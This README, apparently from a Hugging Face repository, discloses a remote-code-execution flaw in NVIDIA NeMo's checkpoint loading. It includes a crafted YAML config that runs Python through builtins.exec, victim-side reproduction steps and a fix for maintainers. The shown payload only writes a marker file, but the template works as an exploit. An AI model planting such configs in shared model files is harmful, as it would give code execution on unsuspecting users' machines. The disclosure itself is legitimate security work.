Instructions to use Havzer/nemo-restore-from-rce-poc with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- NeMo
How to use Havzer/nemo-restore-from-rce-poc with NeMo:
# tag did not correspond to a valid NeMo domain.
- Notebooks
- Google Colab
- Kaggle
Upload README.md with huggingface_hub
Browse files
README.md
ADDED
|
@@ -0,0 +1,107 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
license: apache-2.0
|
| 3 |
+
tags:
|
| 4 |
+
- security
|
| 5 |
+
- proof-of-concept
|
| 6 |
+
- do-not-use
|
| 7 |
+
viewer: false
|
| 8 |
+
---
|
| 9 |
+
|
| 10 |
+
# β οΈ SECURITY RESEARCH PoC β DO NOT LOAD THIS MODEL β οΈ
|
| 11 |
+
|
| 12 |
+
This repository is **not a real model**. It hosts a single crafted
|
| 13 |
+
`malicious_vocoder.nemo` that demonstrates **arbitrary code execution** when an
|
| 14 |
+
untrusted NVIDIA **NeMo** `.nemo` checkpoint is loaded with the standard
|
| 15 |
+
`restore_from()` API.
|
| 16 |
+
|
| 17 |
+
It exists solely for **coordinated disclosure** to the NeMo maintainers via
|
| 18 |
+
[huntr](https://huntr.com). The payload is **benign** β it prints a banner and
|
| 19 |
+
writes a marker file `PWNED_NEMO_HF.txt` into your OS temp directory. **Do not
|
| 20 |
+
load it** unless you understand exactly what it does.
|
| 21 |
+
|
| 22 |
+
Affected: `nemo_toolkit` **2.7.3 (latest)** and `main` (2.8.0). No OSV/GHSA
|
| 23 |
+
advisory covers 2.7.x.
|
| 24 |
+
|
| 25 |
+
---
|
| 26 |
+
|
| 27 |
+
## The bug in one paragraph
|
| 28 |
+
|
| 29 |
+
A `.nemo` file is a tar archive containing `model_config.yaml`. On
|
| 30 |
+
`restore_from()`, NeMo loads that **untrusted** YAML and constructs the model.
|
| 31 |
+
Several TTS/vocoder `__init__` methods then call **`hydra.utils.instantiate(self._cfg.<subkey>)`
|
| 32 |
+
directly** on sub-configs taken verbatim from the YAML. `instantiate()` resolves
|
| 33 |
+
and **calls the `_target_`** with attacker-supplied `_args_`, so a sub-config
|
| 34 |
+
like `preprocessor: {_target_: builtins.exec, _args_: ["<python>"]}` runs
|
| 35 |
+
arbitrary code at load time. These raw calls **bypass** NeMo's `safe_instantiate`
|
| 36 |
+
allow-list (the CVE-2026-24159 hardening), which only guards the
|
| 37 |
+
`from_config_dict` `_target_` branch β not the model `__init__` path.
|
| 38 |
+
|
| 39 |
+
## Vulnerable chain (NeMo 2.7.3)
|
| 40 |
+
|
| 41 |
+
1. `nemo/core/connectors/save_restore_connector.py` β `OmegaConf.load(model_config.yaml)` (untrusted)
|
| 42 |
+
2. `β¦` β `calling_cls.from_config_dict(config=conf, trainer=trainer)`
|
| 43 |
+
3. `nemo/core/classes/common.py:589` `from_config_dict` β a normal model config (no top-level `_target_`) hits the `else` branch and constructs `cls(cfg=config)`, running the model `__init__` with the untrusted config (only the `_target_` / `cls+params` branches route through guarded `safe_instantiate`).
|
| 44 |
+
4. `nemo/collections/tts/models/waveglow.py:49`
|
| 45 |
+
```python
|
| 46 |
+
self.audio_to_melspec_precessor = instantiate(self._cfg.preprocessor) # RAW, no allow-list
|
| 47 |
+
```
|
| 48 |
+
where `instantiate` is `from hydra.utils import instantiate` (waveglow.py:17).
|
| 49 |
+
5. `hydra.utils.instantiate` executes the attacker `_target_` β **RCE**.
|
| 50 |
+
|
| 51 |
+
Same raw `instantiate(self._cfg.*)` sink in: `tacotron2.py:113-115`,
|
| 52 |
+
`two_stages.py:126/131`, `spectrogram_enhancer.py:276`, plus `univnet.py`,
|
| 53 |
+
`vits.py`, `radtts.py`, `mixer_tts.py` (all `from hydra.utils import instantiate`).
|
| 54 |
+
A second, independent vector is the legacy `target` else-branch in
|
| 55 |
+
`common.py:614` (`import_class_by_path(config["target"])` β `imported_cls(cfg=config)`),
|
| 56 |
+
also unguarded.
|
| 57 |
+
|
| 58 |
+
## The malicious `model_config.yaml` (inside the .nemo)
|
| 59 |
+
|
| 60 |
+
```yaml
|
| 61 |
+
sigma: 1.0
|
| 62 |
+
preprocessor:
|
| 63 |
+
_target_: builtins.exec
|
| 64 |
+
_args_:
|
| 65 |
+
- |
|
| 66 |
+
import os, tempfile
|
| 67 |
+
open(os.path.join(tempfile.gettempdir(), "PWNED_NEMO_HF.txt"), "w").write("RCE")
|
| 68 |
+
print("[PWNED] code ran inside WaveGlowModel.restore_from()")
|
| 69 |
+
waveglow: {}
|
| 70 |
+
```
|
| 71 |
+
|
| 72 |
+
## Reproduce (victim's point of view)
|
| 73 |
+
|
| 74 |
+
```bash
|
| 75 |
+
pip install nemo_toolkit[tts] huggingface_hub
|
| 76 |
+
```
|
| 77 |
+
```python
|
| 78 |
+
from huggingface_hub import hf_hub_download
|
| 79 |
+
from nemo.collections.tts.models import WaveGlowModel
|
| 80 |
+
|
| 81 |
+
path = hf_hub_download(repo_id="<this-repo>", filename="malicious_vocoder.nemo")
|
| 82 |
+
WaveGlowModel.restore_from(path) # __init__ -> instantiate(self._cfg.preprocessor) -> code runs
|
| 83 |
+
```
|
| 84 |
+
|
| 85 |
+
Observed: a `[PWNED] β¦` banner prints and `PWNED_NEMO_HF.txt` appears in your
|
| 86 |
+
temp dir, **before** `restore_from` errors out on the placeholder weights β
|
| 87 |
+
proving the code runs at load time.
|
| 88 |
+
|
| 89 |
+
## Impact
|
| 90 |
+
|
| 91 |
+
`.nemo` checkpoints are routinely distributed via the Hugging Face Hub and
|
| 92 |
+
NVIDIA NGC; `restore_from` is **the** standard loading API. A victim loading an
|
| 93 |
+
attacker's TTS/vocoder `.nemo` β a normal, trusted-looking action β gets
|
| 94 |
+
arbitrary code execution in their process.
|
| 95 |
+
`CVSS:3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` (~8.8 High).
|
| 96 |
+
|
| 97 |
+
## Remediation
|
| 98 |
+
|
| 99 |
+
Route all model-config-driven instantiation through `safe_instantiate` (or run
|
| 100 |
+
`_validate_config_targets_recursive` before every
|
| 101 |
+
`hydra.utils.instantiate(self._cfg.*)` in `nemo/collections/tts/models/*`), and
|
| 102 |
+
guard the legacy `target` branch in `from_config_dict` (`common.py:605-625`).
|
| 103 |
+
|
| 104 |
+
---
|
| 105 |
+
|
| 106 |
+
*Reported responsibly via huntr. Files in this repo are inert configuration; the
|
| 107 |
+
"weights" are a zero-byte placeholder. Replace the benign payload at your own risk.*
|